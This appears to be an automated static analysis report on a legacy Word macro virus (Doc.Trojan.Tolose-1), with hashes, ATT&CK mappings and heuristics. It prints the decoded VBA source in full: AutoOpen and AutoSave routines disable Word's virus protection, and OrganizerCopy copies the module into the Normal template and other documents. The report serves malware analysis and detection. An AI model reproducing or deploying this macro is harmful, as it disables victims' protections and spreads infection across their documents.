Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89cf6ead2098a6b1…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4d46633a6e7c299177ae26d8cffe7b4a SHA-1: b8caf559695faa5c20749c81cdb1a6427805af11 SHA-256: 89cf6ead2098a6b1119b402c91b40cdfbcfeadbffc42015cb8434fcb0bb80015
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro attempts to disable virus protection and uses Application.OrganizerCopy to copy itself to other documents, indicating a potential for spreading or establishing persistence. The ClamAV detection 'Doc.Trojan.Tolose-1' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Tolose-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tolose-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1560 bytes
SHA-256: 883fa21a33035e0d6f1174d467879846b58ad7ae7e459e124a8284de7452ead1
Detection
ClamAV: Doc.Trojan.Tolose-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NothingToLose"
Sub AutoOpen()
If Application.Options.VirusProtection = True Then
Application.Options.VirusProtection = False
End If
Macro2
Macro3
End Sub
Sub AutoSave()
On Error GoTo errs
If Application.Options.VirusProtection = True Then
Application.Options.VirusProtection = False
End If
Macro2
Macro3
errs:
Exit Sub
End Sub

Function Macro2()
Attribute Macro2.VB_Description = "Macro recorded 15/06/98 by Pham Hong Thai"
Attribute Macro2.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro2"
Dim fr As String
Dim des As String
On Error GoTo errs
des = Application.ActiveDocument.AttachedTemplate.Path & "\" & Application.ActiveDocument.AttachedTemplate.Name
fr = Application.ActiveDocument.Name
    Application.OrganizerCopy Source:= _
        fr, Destination:= _
        des, Name:="NothingToLose", Object:=wdOrganizerObjectProjectItems
errs:
    Exit Function
End Function
Function Macro3()
Dim fr As String
Dim des As String
On Error GoTo errs
fr = Application.MacroContainer.Path & "\" & Application.MacroContainer
des = Application.ActiveDocument.Name
    Application.OrganizerCopy Source:= _
        fr, Destination:= _
        des, Name:="NothingToLose", Object:=wdOrganizerObjectProjectItems
errs:
    Exit Function
End Function